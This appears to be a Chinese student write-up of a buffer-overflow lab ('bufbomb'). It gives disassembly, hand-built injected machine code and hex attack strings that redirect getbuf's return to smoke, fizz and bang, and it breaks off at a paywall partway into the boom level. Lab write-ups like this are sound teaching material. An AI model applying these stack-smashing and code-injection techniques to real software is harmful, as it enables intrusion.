smoke
要求:构造攻击字符串作为目标程序输入,造成缓冲区溢出,使getbuf()返回时不返回到test函数,而是转向执行smoke
思路:
理解了getbuf栈的构成:开辟的空间[1][2][3]…[32]+rbp+返回地址
只需要把getbuf返回的地址设置为smoke地址即可(开始的时候因为不理解栈的结构,发懵了很久)
第一步:确定开辟空间大小
00000000004018b9 <getbuf>:
4018b9: 55 push %rbp
4018ba: 48 89 e5 mov %rsp,%rbp
//开辟空间大小
4018bd: 48 83 ec 20 sub $0x20,%rsp
4018c1: 48 8d 45 e0 lea -0x20(%rbp),%rax
第二步:确定smoke的地址
00000000004010b6 <smoke>:
4010b6: 55 push %rbp
答案:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
b6 10 40 00
运行结果:
fizz**
要求:这次返回的是fizz函数,但是fizz函数需要传入一个参数,使得val==cookie才能成功
void fizz(int val)
{
if (val == cookie) {
printf("Fizz!: You called fizz(0x%x)\n", val);
validate(1);
} else
printf("Misfire: You called fizz(0x%x)\n", val);
exit(0);
}
思路:
使用Gets来读取自己修改的cookie的值(跟bang一个套路),自己在这里卡了特别久
修改信息:注意,cookie参数要穿进%edi
4004e6: bf 39 ec 4d 37 mov $0x374dec39,%edi
4004eb: c3 retq
4004ec: 5d pop %rbp
答案:
bf 39 ec 4d 37 c3 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
80 36 68 55 00 00 00 00
d8 10 40
运行结果:
bang
要求:构造攻击字串,使目标程序调用bang函数,要将函数中全局变量global_value篡改为cookie值
思路:让getbuf正常的跑,但是返回地址调到Gets,在Gets里边写入我们的攻击代码
第一步:修改全局变量+正确返回bang
需要找到global_value位置,可以打印出一张字符表,使用命令
bufbomb > buf_table //输出bufbomb的符号表到文本文件buf_table
可见,global_value地址是0x6061f0
00000000006061f0 g O .bss 0000000000000004 global_value
0000000000000000 F *UND* 0000000000000000 random@@GLIBC_2.2.5
0000000000402ab0 g F .text 0000000000000065 __libc_csu_init
用cookie的值替换全局变量的值,先分别mov到两个寄存器,再用cookie覆盖
global_value,创建一个.c的文件,再生成.s文件,再.s文件中添加:
4004e6: 48 c7 c0 39 ec 4d 37 mov $0x374dec39,%rax
4004ed: 48 c7 c1 f0 61 60 00 mov $0x6061f0,%rcx
4004f4: 48 89 01 mov %rax,(%rcx)
4004f7: c3 retq
再生成.out文件,再用objdump反汇编,产生机器级代码:
//返回值是cookie
4004e6: 48 c7 c0 39 ec 4d 37 mov $0x374dec39,%rax
4004ed: 48 c7 c1 f0 61 60 00 mov $0x6061f0,%rcx
4004f4: 48 89 01 mov %rax,(%rcx)
4004f7: c3 retq
第二步:找到Gets的输入位置
就是怎样引导getbuf去执行我们的恶意代码 。通过return到Gets,读进我们写的恶意代码
答案:篡改的机器指令+剩余填充+Gets首地址+传入参数
答案:
48 c7 c0 39 ec 4d 37 48
c7 c1 f0 61 60 00 48 89
01 c3 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
80 36 68 55 00 00 00 00
2e 11 40
运行结果:
boom
000000000040118f <test>:
40118f: 55 push %rbp
401190: 48 89 e5 mov %rsp,%rbp
401193: 48 83 ec 10 sub $0x10,%rsp
401197: b8 00 00 00 00 mov $0x0,%eax
40119c: e8 b3 04 00 00 callq 401654 <uniqueval>
4011a1: 89 45 f8 mov %eax,-0x8(%rbp)
4011a4: b8 00 00 00 00 mov $0x0,%eax
4011a9: e8 0b 07 <

最低0.47元/天 解锁文章
403

被折叠的 条评论
为什么被折叠?



